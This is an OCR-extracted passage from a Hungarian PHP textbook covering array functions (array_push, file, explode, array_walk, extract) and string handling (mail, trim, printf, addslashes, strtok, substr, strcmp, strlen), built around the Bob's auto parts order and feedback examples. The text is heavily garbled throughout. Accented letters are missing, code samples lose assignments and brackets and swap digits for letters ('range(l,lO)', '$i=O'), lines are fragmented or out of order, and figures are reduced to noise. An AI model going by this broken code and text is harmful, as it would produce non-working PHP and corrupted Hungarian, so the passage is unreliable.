minden egyes lefutsnak vgn eggyel cskkentjk a -- mveleti jellel.
Irt ltrehozunk egy res tmbt, majd az elemeket az array_push() fggvnnyel hozzadjuk a rmbhz, mindegyiket
annak vghez. (Zrjelben jegyezzk meg, hogy az array_push () ellentte az array _pop () fggvny. Ez a fggvny elt
voltja az adort tmb vgn lv elemet, s visszatrsi rtke is ez az eltvoltort elem lesz.)
Hasznlhatjuk az array_reverse( ) fggvnyt is, amivel megfordthatjuk a range() fggvnnyel ltrehozort tmbben
az elemek sorrendjt:
$szamok = range(l,lO);
$szamok = array_reverse($szamok);
Ne feledjk, hogy az array_reverse ( ) a tmb mdosrott msolatval tr vissza! Ha nincsen szksgnk az eredeti
tmbre, mint ahogy az a pldban is volt, akkor a msolarot egyszeren rjuk az eredetibel
Ha adaraink egyszeren egsz szmok egy tartomnya, akkor fordtort sorrendben gy llthatjuk ket el, ha a r ange ()
opcionlis lpskz-paramternek a -l-et adjuk meg.
$szamok = range(lO,
l,
-1);
l olaj
Smalltown
A megrendels feldolgozshoz vagy teljestshez szksg lehet arra, hogy visszatltsk egy tmbbe. A 3.2 pldakd a meg
rendelsi fjl jelenleg vltozatt mutatja.
3.2 pldakd: rendelesek_megtekintese. php-Bob
<?php
//rvid vltoznevek ltrehozsa
$DOCUMENT_ROOT
$ SERVER['DOCUMENT_ROOT');
$rendelesek= file("$DOCUMENT_ROOT/../rendelesek/rendelesek.txt");
$rendelesek_szama = count($rendelesek);
if ($rendelesek szama
==
0)
for ($i=O;
prblkozzon ks6bb!</strong></p>";
$i<$rendelesek_szama;
$i++)
Ez a kd majdnem teljesen ugyanazt a kimeneter produklja, mint az elz fejezer 2.3-as pldakdja (kimenete a 2.4 brn
volt lthat). Ez alkalommal a kd a file() fggvnyt hasznlja, ami a reljes fjlt egy tmbbe rlri be. A fjl minden egyes sora
a tmb egy-egy eleme lesz. A kd a count() fggvny hasznlarval llaptja meg, hogy hny elembl ll a tmb.
Tmbk hasznlata
67
A megrendelsi sorok egyes rszeit elklntve is betlthetjk a fjlt, kln tmbelemekbe helyezve a tartalmat. Ez lehetv
teszi az egyes rszek elklntett feldolgozst, illetve tetszetsebb formzst. A 3.3 pldakd pontosan ezt vgzi el.
3.3 pldakd: rendelesek_megtekintese2.php-Bob megrendelseinek elklntse,formzsa s megjelentse PHP-vel
<?php
//rvid vltoznevek ltrehozsa
$DOCUMENT_ROOT
S_SERVER['DOCUMENT_ROOT');
?>
<html>
<he ad>
<title>Bob autalkatrszek - Megrendelsek</title>
</head>
J'
<body>
<hl>Bob autalkatrszek</hl>
<h2> Megrendelsek</h2>
<?php
\.
count($rendelesek);
if ($rendelesek_szama
==
0)
prblkozzon ksbb!</strong></p>";
$i<$rendelesek_szama;
Si++)
$rendelesek[$i));
= intval($sor[l));
$sor[2)
intval($sor[2]);
$sor[3)
intval($sor[3]);
68
3. fejezet
<td>".$sor[5]."<ltd>
</tr>";
echo "</table>";
?>
</body>
A 3.3 pldakd a teljes fjlt egy tmbbe tlti be, de a 3.2 pldakddal ellenttben itt az explode () fggvnnyel sztbont
juk a sorokat, hogy nyomtats eltt feldolgozzuk s formzzuk tartalmukat. A kd kimenett a 3.6 brn lthaguk.
IIO:rrf _..-
-:::-"
Bob autalkatrszek
Meerendelfuk
(;'9-z! ...
4
l
ji"JO
. .liM.do}OOI)
S04.00o1l5iai.SI.
4l,lla:l001
SIOOJJ01M.ioa.t,
s.u;
ll7 ,A"_St,
3.6 bra: A megrendelsi rekordok explode () fggvnnyel val sztbontsa utn a megrendelsek minden rszt kln-kln tb
lzatcellba helyezve tetszetsebb kimenetet kapunk.
Az elz fejezetben tabultort hasznlrunk a trolni kvnt adatokat elvlaszt karakterknt, ezrt a kvetkez formban
kell meghvni a fggvnyt:
explode( "\t", $rendelesek[$i] )
Ez a kd rszekre bontja a bevitt karakterlncot. A tabultor karakter lesz a szomszdos elemek kztri elvlaszt. Pldul
a kvetkez sztringet:
"20:43, 31st March 2008\tO gumiabroncs\t1 olaj\t4 gyertya\t$26,00\t127 Acacia St,
Springfield
Springfield".
rdemes megjegyezni, hogy az opcionlislimit paramterrel korltozhaguk a fggvny ltal visszaadott rszek maximlis
szmt.
Ez a kd nem igazn alkalmas a megrendelsek feldolgozsra. Ahelyett, hogy minden sorba Icirja a gumiabroncsokat, az
olajat s a gyertykat, a plda csak megjelenti a rendelsi mennyisgeket, s a tblzat fejlcben tjkoztat arrl, hogy mit je
lentenek a szmok.
Tbbflekppen Icinyerhetnnk a karakterlncokbl a szmokat. Jelen esetben az intval () fggvnyt vlaszguk erre.
Ahogy az l. fejezetben elmondtuk, ez a fggvny egsz szmm alaktja a karakterlncokat. Az talakts kellen intelligens, s
figyelmen kvl hagyja azokat a rszeket- gy jelen pldban a cmkt-, amelyeket nem lehet egsz szmm konvertlni. A ka
rakterlncok feldolgozsnak klnfle mdjaival a kvetkez fejezetben foglalkozunk majd.
Tombk hasznlara
69
Tmbn belli nav igls: each (),current (),res et (),end (),next (),pos ()
s prev () fggvny
Ernlrettk korbban, hogy minden tmb egy bels mutatval {pointer} rendelkezik, amely az aktulis elemre mutat. Korb
ban, amikor az each() fggvnnyel dolgoztunk, kzvetve mr hasznltuk ezt a mutatt, m kzvetlenl is kezdhetjk.
j tmb ltrehozsakor az aktulis mutat a tmb els elemre mutat. A current($tomb_neve) fggvny meghvsa az
els elemmel tr vissza.
A next() vagy az ea ch () fggvny meghvsa eggyel elre, a kvetkez elemre lpteti a mutatt. Az each($tomb_
neve) meghvsa a mutat elrelptetse eltt adja vissza az aktulis elemet. A next() fggvny ettl kiss eltren viselke
dik: a next($tomb _neve) elrelpteti a mutatt, majd az j aktulis elemet adja vissza.
Korbban lthattuk, hogy a reset() a tmb els elemre kldi vissza a mutatt. Ennek prja az end($tomb_neve),
amelynek meghvsval a tmb vgre kldjk a mutatt. Ennek megfelelen a tmb els, illetve utols elemr a reset() s
end ( ) fggvnnyel kaphatjuk vissza.
Ha fordtva szeretnnk bejrni egy tmbt, az end () s prev () fggvnyt kell hasznlnunk. A prev() fggvny
a next( ) ellentettje. Eggyel visszbb lpteti a mutatt, majd ezt az j aktulis elemet adja vissza.
A kvetkez kd pldul fordtott sorrendben jelent meg egy tmbt:
$ertek
end ($tomb);
while ($ertek) {
echo "$ertek<br />";
$ertek
prev($tomb);
array(l,
2,
3);
string fuggveny,
[mixed felhasznaloi_adat])
A korbban hasznlt usort () fggvnyhez hasonlan az array_walk() is megkveteli, hogy sajt fggvnynket dek
larljuk. Lthat, hogy az array_ wa lk() hrom paramtert fogad. Az els, a tomb a feldolgozni kvnt tmb. A msodik,
fuggveny nev paramter a felhasznl ltal definilt fggvny, amit a tmb minden elemre alkalmazni kvnunk. A har
madik, felhasznaloi_adat nev paramter opcionlis. Amennyiben hasznljuk, fggvnynk paramterknt megkapja.
Rvidesen ltni fogjuk, mindez hogyan mkdik.
A felhasznl ltal definilt gyes kis fggvny lehet olyan, amely a tmb nnden elemr meghatrozott formzssal jelenti
meg. A kvetkez kd a felhasznl ltal megrt sa j at_kiiratas () fggvnyt a $tomb minden elemvel meghvva j sor
ban jelenti meg az egyes elemeket:
function sajat_kiiratas($ertek) (
echo "$ertek<br />";
array_walk ($tomb,
'saJat_kiiratas');
A felhasznl, vagyis a mi magunk ltal rt fggvnynek adott nntt kell kvetnie. A tmb nnden eleme esetn az array_
walk fggvny fogja a tmbben trolt kulcsot s rtket, illetve a felhasznaloi_adat paramterknt ltalunk megadott
kulcs,
felhasznaloi_adat)
Fggvnynk az esetek tbbsgben csak a tmbben lev rtkeket fogja felhasznlni. Egyes helyzetek megkvetelherik,
hogy a felhaszna l oi_adat paramter segtsgvel valamilyen paramtert acljunk t fggvnynknek. Elfordulhat az is,
70
3. fejezet
hogy az rtk mellett az adott elem kulcsra is szksgnk van. Dnthetnk gy, hogy fggvnynk-a sa j at_ kiiratas ()
fggvnyhez hasonlan- figyelmen kvl hagyja a kulcsot s a felhas znaloi _adat paramtert.
Hogy lssunk egy kicsit sszetettebb pldt, rjunk olyan fggvnyt, amely mdostja a tmbben lv rtkeket, s mkd
shez paramtert vr! Br a kulcsra nem lenne szksgnk, a harmadik paramter fogadshoz a kulcsot is fogadnunk kell:
function sajat szorzo fuggveny(&$ertek,
$ertek
*=
$kulcs,
$szorzotenyezo) {
$szorzotenyezo;
array_walk(&$array,
3);
A kd definilja a sa j at_szorzo_ fuggveny() fggvnyt, amely a tmb minden elemc megszorozza a megadott
szorztnyezvel. Hasznlnunk kell az array_wa lk ( ) harmadik, opcionlis paramtert, hogy az itt megadott rtket pa
ramterknt tovbbtsa a fggvnynek, amely szorztnyezknt fogja felhasznlni azt. Mivel szksg van erre a paramterre,
gy kell deklarlni a sajat_szorzo_fuggveny () fggvnyt, hogy hrom paramtert fogadjon: a tmb elemnek rtkt
($ertek) , a tmb elemnek kulcst ($kulcs) s a paramtert ($szorzotenyezo) . Aztn persze dnthetnk gy, hogy
a kulccsal nem foglalkozunk.
rdemes felfigyelni az $ertek tadsnak mdjra. A saj at_szorzo_ fuggveny () fggvny deklarlsban a vltoz
neve eltti s (&)jel azt jelenti, hogy az $ertek paramter hivatkozsknt addik t. A hivatkozs szerinti tads lehetv te
szi, hogy a fggvny mdosthassa a tmb tartalmr.
A hivatkozs szerinti paramtertadssal az 5. fejezetben rszletesebben is foglalkozunk. Ha nem ismers szmunkra ez
a fogalom, akkor egyelre elg annyit megjegyezni, hogy a hivatkozs szerinti tadshoz s (&)jelet helyeznk a vltoznv el.
array(4,
5,
l,
2,
3,
l,
2,
l);
$ac = array_count_values($tomb);
rtk
Az eredmny tudatja velnk, hogy a 4, az 5 s a 3 egyszer fordul el az $array tmbben, az l hromszor, a 2 pedig ktszer.
[,
1nt extract_tipusa]
[,
string elotagJ
);
Az extract() fggvny clja, hogy fogja a tmbt, s a benne lv kulcsok neveivel skalris vltozkat hozzon ltre. E vl
tozk rtknek a tmbben trolt rtkeket rendeli.
Nzzk ezt az egyszer pldt:
$tomb
array( 'kulcsl'
=>
'ertekl',
extract($tomb);
echo "$kulcsl $kulcs2 $kulcs3";
'kulcs2'
=>
'ertek2',
'kulcs3'
=>
'ertek3');
Tmbk hasznlata
71
A tmb hrom elemmel rendelkezik, ezek kulcsa rendre: kulcsl, kulcs2 s kulcs3. Az extract () fggvny h
rom skalris vltozt hoz ltre: $kulcsl, $kulcs2 s $kulcs3. A kimenetbl lthatjuk, hogy a $kulcsl, $kulcs2 s
$kulcs3
rtke rendre 'ertekl ', 'ertek2' s 'ertek3 '.Ezek az rtkek az eredeti tmbbl szrmaznak.
Tpus
Jelents
EXTR OVERWRITE
EXTR SKIP
tkzs esetn $elotag_ kulcs nev vltozt hoz ltre. Ehhez meg kell adni az
elotag
paramtert.
EXTR IF EXISTS
nl alkalmazhat.
EXTR-PREFIX-IF-EXISTS
Ha a vltoz eltag nlkli vltozata mr ltezik, eltaggal elltott vltozatt hozza ltre.
EXTR REFS
rtket hasznl pldt! Figyeljk meg, hogy az itt ltrehozott vltozk neve eltag-alulvons-kulcsnv:
$tomb
array (
extract ($array,
'kulcsl'
>
'ertekl',
EXTR_PREFIX_ALL,
'kulcs2'
>
'ertek2',
'kulcs3'
=> 'ertek3');
'sajat_elotag');
Jegyezzk meg, hogy ha az extract () fggvnnyel szeretnnk egy elemet kinyerni, az elem kulcsnak rvnyes vltoz
nvnek kell lennie, vagyis a szmmal kezdd vagy szkzket tartalmaz kulcsokat a fggvny tugorja!
Tovbbi olvasnival
Ez a fejezet a PHP ltalunk leghasznosabbnak vlt tmbfggvnyeit mutatta be. Szndkosan nem vllalkoztunk
az
sszes
tmbfggvny trgyalsra. A http://www.php.net/array cmen elrhet online PHP kziknyvben rnindegyiknek megtalljuk
a
rvid lerst.
Hogyan tovbbi
A kvetkez fejezetben a karakterlncokat feldolgoz fggvnyekrl tanulunk. Azokkal a fggvnyekkel foglalkozunk, amelyek
szeringeket keresnek, cserlnek, illetve felosztjk s egyestik ket. Megismerkednk a regulris kifejezsek fggvnyeivel, ame
lyekkel szinte brmilyen mveletet elvgezhetnk a karakterlncokon.
4
Karakterlncok kezelse
s regulris kifejezsek
Ebbl a fejezetbl kiderl, hogyan hasznljuk a PHP szeringkezel fggvnyeit szveg formzsra s kezelsre. Azt is meg
crgyaljuk, miknt lehet szeringkezel fggvnyekkel s regulris kifejezsek fggvnyeivel szavakra, kifejezsekre vagy karak
cerlncon belli egyb szvegmintkra keresni (s Icicserlni azokat).
Ezek a fggvnyek szmtalan klnbz helyzetben igen hasznosak rudnak lenni. Gyakran van szksg arra, hogy adatb
zisban troland felhasznli inputot rendbe tegynk vagy rformzzunk. A keresfggvnyek kivlan alkalmasak - egyebek
kztt keresmotor-alkalmazsok fejlesztsre.
A fejezeeben az albbi fbb tmakrket trgyaljuk:
Karakterlncok formzsa
Karakterlncok egyestse s szrvlasztsa
Karakterlncok sszehasonltsa
Rszszrringek keresse s cserje szeringkezel fggvnyekkel
Regulris kifejezsek hasznlata
-
-.6- .,4
;-U - - -,..2
: _
e..---. ...........
...
_ __
Vsrlk zenetei
koeeljr ......
....
-----
----
...._
------
--
----
--
-- -------------
--------------
--
'------------------- _,
to........... l
4.1
bra: Bob visszajelzst vr rlapja az gyfelek nevt, e-mail cmt s szrevteleit kri.
74
4. fejezet
Induljunk ki a 4.1 pldakdban tallhat, egyszer kdbl, s olvass kzben bvtsk s fejlesszk azt!
4.1 pldakd: uzenet_ feldolgozasa.ph p- Az rlap tartalmnak elkldshez hasznlt kiindul kd
<?php
$targy
"uzenet@pelda.com";
"zenet a honlaprl";
$level_tartalma
$targy,
$level tartalma,
$felada);
?>
<html>
<head>
<title>Bob autalkatrszek - zenet elkldve</title>
</head>
<body>
<hl>zenet elkldve</hl>
<p>zenett elkldtk.</p>
</body>
</html>
ltalban ellenriznnk-pldul az isset( ) fggvnnyel-, hogy a felhasznl az rlap minden ktelez mezjt kitl
ttte-e. Kdunkbl a tmrsg kedvrt kimaradt ennek a fggvnynek a meghvsa.
A kdbl lthat, hogy az rlapmezket sszefztk, s a PHP mail () fggvnyvel elkldtk e-mailben az u zenet@
pelda.com cmre. Ez egy minta e-mail cm. Amennyiben tesztelni szeretnnk a fejezetben fejlesztert kdot, cserljk ezt sajt
e-mail cmnkre! Mivel idig mg nem hasznltuk a mail( ) fggvnyt, nzzk meg elszr is azt, hogy hogyan mkdik!
Taln nem meglep, hogy a fggvny e-mailt kld. Prototpusa a kvetkezkppen nz ki:
bool mail(string cmzett,
string targy,
string uzenet,
string
tovabbi_parameterek]]);
Az els hrom- nem mellesleg ktelez- paramterben az e-mail cmzettjt, a trgysor szvegt, illetve magt az zene
tet adjuk meg. A negyedik paramterrel tovbbi rvnyes e-mail fejlceket kldhetnk. Az rvnyes e-mail fejlcek lerst az
RFC822 dokumentumban talljuk, amely-ha tovbbi rszleteket szeretnnk megtudni-online elrhet. (Az RFC, azaz
Request for Comment- magyarui.Megjegyzs krs'- tbb internetszabvnynak a forrsa. Rszletesen a Hlzati s pro
tokol!fggvtJyek hasznlata cm 20. leckben foglalkozunk velk.) A negyedik paramter jelen esetben Felad: cmer ad az
zenethez. Hasznlhatnnk mg egyebek kztt a Vlaszcm: s Msolat: mezt is.
Ha egynl tbb tovbbi fejlcet kivnunk az zenethez adni, a karakterlncon bell jsor s kocsi vissza karaktert (\n\r)
hasznlva vlaszthatjuk el ket egymstl, mint pldul itt:
$tovabbi fejlecek="Felad: webserver@pelda.com\r\n "
. ' Vlaszcm: bob@pelda.com";
75
A mai l () fiiggvny hasznlathoz be kell lltanunk a PHP-t, hogy az zenetkld alkalmazsunkra mutasson. Ha a kd
jelenlegi llapotban nem mkdik a rendszernkn, akkor valamelyik teleptsi bellts lehet a Iudas; tekintsk t a Fgge
lkben A PHP s
MySQL
teleptst!
A fejezet sorn ezt a kdot fogjuk a PHP szeringkezel fiiggvnyeinek, illetve a regulris kifejezsek fggvnyeinek alkalma
zsval tkletesteni.
Karakterlncok formzsa
Gyakran elfordul, hogy hasznlatuk eltt rendbe kell szednnk a felhasznlk ltal- jellemzen HTML rlapon keresz
tl - bevitt karakterlncokat. A most kvetkez rszekben az ilyen clra rendelkezsnkre ll fiiggvnyek kzl mutatjuk be
a fontosabbakat.
$email = trim($_POST['email']);
$uzenet
trim($_POST['uzenet');
A trim() fiiggvny eltvoltja a karakterlnc elejrl s vgrl a fehrkzket, s az gy kapott sztringer adja vissza.
A fggvny ltal alaprtelmezsben eltvoltott karakterek kz az jsor s a kocsi vissza karakterek ( \n s \r) , a vzszintes
s fggleges tabuttorok (\t s \xOB ) , a szering vge karakter (\0 ) s a szkzk tartoznak. Egy msodik- opcionlis
-paramterben megadhatjuk az ezen alaprtelmezett karakterek helyett eltvoltand karakterek listjt. Az adott cltl fug
gen hasznlhatjuk az l trim () vagy az rtrim () fiiggvnyt is. Mindkett a trim () fiiggvnyhez hasonl, a szban forg
karakterlncot fogadjk paramterknt, s a formzott sztringet adjk vissza. A hrom fuggvny kztt az a klnbsg. hogy
a trim () a karakterlnc elejrl s vgrl, az l trim () csak az elejrl (bal oldalrl), az rtrim() csak a vgrl (jobb olda
lrl) tvoltja el a fehrkz karaktereket.
?> </p>
Ne feledjk, hogy a HTML figyelmen kvl hagyja a sima fehrkz karaktereket, gy ha nem szrjk meg a kimenetet
a nl2br ( ) fiiggvnnyel, a bngszablak ltal esetlegesen kiknyszertett sortrseket leszmtva egyetlen sorban fog megje
lenni. Az eredmnyt a 4.2 brn ltjuk.
Karakterlncformzsa nyomtatshoz
Idig az echo nyelvi szerkezettel jelentettk meg a bngszben a karakterlncokat. A PHP a print ( ) fiiggvnyt is t
mogatja, amely ugyanazt teszi, mint az echo, m rendelkezik visszatrsi rtkkel (am az eredmnytl fuggen true vagy
false ) .
76
4. fejezet
t..
..... _......_
VM>-.Milu.W....\'""'..-:_....,..\--.:-.Iq)--....... .
_ .......
"'"'4-.:1.'-oH,,..
::::::.._.-..--...._
........._
4.2 bra: A PHP nl2br () fggvnyvel tetszetsebb tehet a hossz karakterlncok HTML-en belli megjelentse.
Mindkt mdszer .as is'; azaz aktulis formjban nyomtatja ki a karakterlncot.A printf ( ) s a sprintf () fgg
vnnyel nmileg kifinomultabb formzst is vgrehajthatunic Alapveterr ugyangy mkdnek, azzal a klnbsggel, hogy
a printf () megjelenti a bngszben a formzott sztringet, az sprintf ()pedig visszatrsi rtkknt adja vissza.
Ha programozrunk mr korbban C-ben, akkor ltni fogjuk, hogy ezek a fggvnyek mkdsket tekintve C-beli trsaik
hoz hasonlak.Vigyzzunk azonban, mert szintaktikjuk nem teljesen azonos! Ha nem dolgozrunk mg ezekkel a fggvnyek
keL nmi idre lehet szksg, mg megszakjuk hasznlarukat, m igen hasznosnak s hatkonynak fogjuk tallni ket.
(string formatum
(string formatum
[,
[,
mixed parameterek...])
Mindkt fggvny els paramtere egy formtumsztring, amely vltozk helyett formz kddal rja le a kimenet alakjt.
A tovbbi paramterek a formrumsztringbe helyettestett vltozk.
Az ee ho fggvny esetben hasznlhatjuk soron bell a megjelenteni kivnt vltozkat, ahogy az albbi plda is mutatja:
echo "A rendels vgssszege:
$total.";
$total);
A formtumsztringben lv %s-t konverzis specifikcinak nevezzk.Ez azt jelenti, hogy .karakterlnccal helyettestend':
Jelen esetben a karakterlncknt rtelmezett $total vltoz helyettesti.Ha az ebben a vltozban trolt rtk mondjuk
12.4, akkor mindkt mdszer esetn a 12 . 4 jelenik meg a bngszben.
A printf () alkalmazsnak elnye, hogy pontosabb konverzis specifikcit hasznlharunk annak meghatrozsra, hogy
a $total valjban egy lebegpontos szm, amely a tizedespont (magyar jells esetn tizedesvessz) utn kt tizedesjegyet
kell, hogy tartalmazzon. A kvetkez kddal rhetjk ezt el:
printf
%.2f",
$total);
Ha ilyen formzs esetn a $total vltozban 12.4 az eltrolt rtk, akkor az utasts 12. 4 O-knt fogja azt megjelenteni.
A formtumsztringben tbb konverzis specifikcit is megadhatunk.Amennyiben
akkor ltalban n argumentum szerepel a formtumszering utn.A konverzis specifikcikat a listabeli sorrendben fogjk
lecserlni az tformzott argumentumok.Nzzk az albbi pldt:
printf
%.2f
(szllitssal egytt:
%.2f) ",
$total,
$total
szallitas);
Itt az els konverzis specifikci a $total, a msodik a $total_ szallit as vltozr hasznlja.
Mindegyik konverzis specifikci ugyanazt a formtumot kveti, ami a kvetkez:
%['kitolto_karakter][-][szelesseg] [.pontossag]tipus
77
A szelesseg paramter kzli a printf () fggvnnyel, hogy (karakterben szmolva) mennyi helyet hagyjon az ide be
helyettestend vltoznak.
A pontos sag paramternek tizedesponttal kell kezddnie, s tartalmaznia kell a tizedespont (tizedesvessz) utn megje
tblzat: A
Tpus
Jelents
A printf () fggvny konverzis tpuskdokkal val hasznlata esetn alkalmazhatunk argumentumszmozst. Ez azt
jelenti, hogy argumentumainak nem szksges a konverzis specifikcikkal megegyez sorrendben lennik. Pldul:
printf
Stotal_szallitas,
%1\$.2f)
",
$total);
Csupn annyit kell tennnk, hogy az argumentum listabeli pozcijt kzvetlen l a% jel utn rjuk, s mg egy vdka
rakterrel, vagyis \jellel elltott $ szimblumot helyeznk; ebben a pldban a 2\$ azt jelenti, hogy .,helyettestsd a listban
msodik argumentummal!': Ezzel a mdszerrel ismtelni is lehet az argumentumokat.
A fuggvny kt alternatv vltozarnak vprintf () s vsprintf () a neve. Ezek kt paramtert fogadnak: a formtum
Fggvny
Lers
Hasznlat
rtk
$targy
zenet a honlaprl
ZENET A HONLAPRL
strtoupper()
strtoupper($targy)
strtolower()
strtolower($targy)
zenet a honlaprl
ucfirst()
ucfirst($targy)
zenet a honlaprl
ucwords()
ucwords ($targy)
zenet A Honlaprl
78
4. fejezet
addslashes(trim($_POST['uzenet']));
A szeringkezel fggvnyek tbbsghez hasonlan az adds lashes( ) is paramterknt fogadja a karakterlncot, majd
tformzott karakterlncknt aclja vissza.
A 4.3 brn ezeknek a fggvnyeknek a karakterlncra gyakorolt hatst lrhatjuk.
Ha sajt szervernkn is kiprbljuk a fggvnyeket, elkpzelhet, hogy a 4.4 brn lthathoz hasonl eredmnyt kapunk.
4
.lu---- -s-,,,....._. ....... CI'91-t-.,...
,. .... _
.. ..,_" ..........
4.3 bra: Az addslashes ()fggvny meghvsa utn az idzjelek visszaperjellel lettek kiemelve.
4.4 bra: Minden problms karakter dupln lett kiemelve; ez azt jelenti, hogy a magic quotesfunkci be van kapcsolva.
Ez az utbbi eredmny azt jelzi, hogy a PHP gy lett belltva, hogy automatikusan eltvolrja a visszapetjeleket. Ezt a funkcit
a magi c_quotes_gp c konfigurcis bellts szablyozza. A gpc, amely a PHP j teleptseinl alaprtelmezsben be van kap
csolva, a GET, a POST s a cookie szra utal. Ez azt jelenti, hogy az ezekbl a forrsokbl szrmaz vltozk esetben automatiku
san visszaperjel kerl a problms karakterek el. Amennyiben a bellts be van kapcsolva rendszernkn, a felhasznli adatok
megjelentse eltt meg kell hvnunk a stripslashes () fggvnyt, klnben megjelennek a visszaperjelek is.
A magic quotes funkci hasznlata hordozhatbb teszi kdunkat. A funkcirl rszletesebben olvasharunk az Egyb hasz
nosfunkcik cm 24. leckben.
79
az
explode (),amely
az
string input [,
int limit]);
A fggvny fogja az in put paramterben meghatrozott karakterlncot,s az elvalasz to sztring ltal meghatrozol:t
elvlaszt karakter mentn darabokra bontja. A z gy kapott darabokat egy tmbbe helyezi. A darabok szmt az opcionlis
limit paramterrel korltozhatjuk.
A kvetkez kdot kell hasznlnunk arra,hogy az gyfl e-mail cmbl megrucijuk domainnevt:
$email_tomb
explode ( '@',
$email);
Az explode () fggvny fenti paramterekkel trtn meghvsa kt rszre bontja az gyfl e-mail cmt: a felhasznli
nvre,amely az $email_tomb[O l, illetve a domainnvre,amely az $email_tomb [l] tmbelemben troldik el. Most mr
kpesek vagyunk a domainnevet ellenrizve megllaptani,melyik vllalatnl dolgozik az gyfl,s zenett ennek megfelelen
tovbbtani a clszemlynek:
if ($email tomb[l]
$cimzett
==
"nagyugyfel.com")
"bob@pelda.com";
else {
$cimzett
"uzenet@pelda.com";
Amennyiben azonban a domainnv nagybetvel vagy kis- s nagybetvel vegyesen van szedve,ez a megkzelts nem fog
mk dni. gy tudjuk kezelni ezt a problmt, hogy a domainnv csupa nagybetre vagy csupa kisbetre konvertlsa utn
ellenrizzk az egyezsget:
if (strtolower($email_tomb[l])
$cimzett
==
"nagyugyfel.com")
"bob@pelda.com";
else {
$cimzett
"uzenet@pelda.com";
az
egyenrtk). Pldul:
$uJ_email
implode('@',
$email tomb);
Ez az utasts fogja az $email_tomb tmbelemeket,s az els paramterknt megadott sztringgel egyesti azokat. A fgg
vnyt az explode ()-hoz hasonlan hvjuk meg. m hatsa pont ellenttes.
string elvalaszto);
Az elvlaszt lehet karakter s karakterlnc is,de a bemeneti karakterlncot-az explode fggvnnyel ellenttben- nem
a reljes elvlaszt karakterlncon,hanem az elvlaszt karakterlnc minden egyes karaktere mentn elvlasztja.
A strtok () meghvsa nem annyira egyszer, ahogy azt a prototpus alapjn gondolhatnnk. A hhoz,hogy a karakter
lncbl megkapjuk az els tokent,kt paramterrel, a karakterlnccal s az elvlasztval hvjuk meg a strtok() fggvnyt.
Ahhoz, hogy a karakterlncbl
az ezt
elvlasztt. A fggvny a karakterlncon bell megrzi sajt bels mutatjnak helyt. Ha vissza akarjuk lltani a mutatt
a karakterlnc elejre,paramterknt jra tadjuk a fggvnynek.
80
4. fejezet
' n n};
($token
!= nn}
ltalban rdemes ellenrizni, hogy az gyfl rt-e brmilyen zenetet az rlapra; ezt pldul az empty (} fggvnnyel te
hetjk meg. Az egyszersg kedvrt a pldbl kihagytuk ezeket az ellenrzseket.
Az elz kd kln sorban jelenti meg az gyfl zenetben lv minden egyes cokent, s mindaddig fut a ciklus, amg van
token. Az res karakterlncokat automatikusan tlpi e folyamat kzben.
int start[,
int hossz]
};
$teszt =
Amennyiben a fggvnyt a start paramternl csak egy pozitv szmot megadva meghvjuk, a start pozcitl a karak
terlnc vgig tart rszsztringet adja vissza. Pldul a:
substr ($teszt,
az
l};
gyflszolglatuk igen kivl karakterlncot adja vissza. A karakterlncon belli pozci a tmbkhz hasonl
an O-val indul.
Amennyiben a substr (} fggvnyt csak egy negatv start paramterrel hvjuk meg, a karakterlnc utols start karak
tert kapjuk vissza. A
substr ($test,
-6};
O,
6};
fggvny a karakterlnc utols hat karaktert adja vissza- ami jelen esetben az gyfl. Az
echo substr ($test,
18,
-7};
kd a negyedik s a htulrl hetedik karakter kztti karaktereket aclja vissza- jelen esetben az igen karakterlncot. Az els
karakter a O. pozci, gy a 18. pozci a tizenkilencedik karaktert jelli.
Karakterlncok sszehasonltsa
Idig csak azt lttuk, hogyan hasznljuk a
==
s kifinomultabb sszehasonltsokra is lehetsget ad. Kt kategriba csoportostottuk ezeket: rszleges egyezsg s egye
bek. Elszr az egyebek kategrival foglalkozunk, majd ezt kveten trnk r a rszleges egyezsgre, amelyre az intelligens
rlap tovbbfejlesztshez szksgnk lesz.
string str2};
A fggvny kt karakterlncot fogad, s sszehasonltja ezeket. Egyenlsgk esetn visszatrsi rtke O. Ha az str l b
crendben az str2 utn kvetkezik (vagy nagyobb nla), akkor az strcmp (} fggvny egy nullnl nagyobb szmmal tr
81
vissza. Amennyiben str l kisebb, mint str2, az s trcmp () visszatrsi rtke nullnl kisebb. A fuggvny megklnbzteti
a kis- s nagybetket.
Az strcasecmp () fuggvny pontosan ugyangy viselkedik, azonban nem tesz klnbsget a kis- s nagybetk kztt.
Az strnatcmp () fuggvny s a kis- s nagybetket nem megklnbztet testvre, az strnatcasecmp () a,.term
szetes rendezsnek" megfelelen hasonltja ssze a karakterlncokat, ami jobban megfelel az ember hagyomnyos rendezsi
elveinek. Az strcmp( ) szerint pldul karakterlncok esetn a 2 nagyobb, mint a 12, mivel lexikografikusan nagyobb.
Az strnatcmp() pont fordtva rangsorolja ket. A termszetes rendezsrl bvebben is olvasharunk a http://www .
naturalordersort.org/ oldalon.
A fggvny beviteli adat ellenrzsre is alkalmas. Gondoljunk bele a mintarlapon lv e-mail cmbe, amit az $email vl
tozban trolunk! Az e-mail cm ellenrzsnek legegyszerbb mdszere a hossznak megllaptsa. Egy e-mail cm legalbb
hat karakter hossz: pldul a@a. to, amelyben az orszgkdhoz nem tartozik msodik szint domain, illetve a szervernv s
a felhasznl cme egy-egy betbl ll. Ha a felhasznl ltal megadott e-mail cm nem ri el ezt a karakterhosszt, akkor hiba
kvetkezik be:
if (strlen($email) <
ll a
PHP
6) (
rdemes megemlteni, hogy azstlen () fggvny nem jl kezeli a tbb-bjtos kdols (UTF-7, UTF-8, Unicode)
sztringeket. Tapasztalatok szerint elssorban az , , , , ,
a szering hosszt. Unicode kdolskor hasznljuk inkbb az mb_strlen () fggvnyt, amelynek prototpusa a kvetkez:
int mb_strlen ( string $str
[,
string $kodolas
A fggvnyben a $str paramter a vizsgland karakterlncot tartalmazza, az opcionlis $kodolas paramterrel pedig
megadhatjuk, hogy hny bites az radott karakterlnc.
Az elz plda UTF-8 kdols szvegre:
if (rnb_strlen($email) <
6) ( ll vagy mb strlen($email,
'Bbit')
Fontos megjegyezni, hogy az,.mb_" csaldba tartoz fggvnyek nem alaprtelmezett PHP knyvtrban vannak, gy krjk
a rendszergazdt, hogy teleptse a Mulribyte String knyvtrat! Tovbbi informcit a PHP kziknyv http://www.php.net/
manual/ en/book.mbstring.php oldaln tallunk.
A fenti megkzelts az informci ellenrzsnek rendkvl leegyszerstett mdja. A kvetkez rszben finomabb md
szereket fogunk megvizsglni.
82
4. fejezet
string tu);
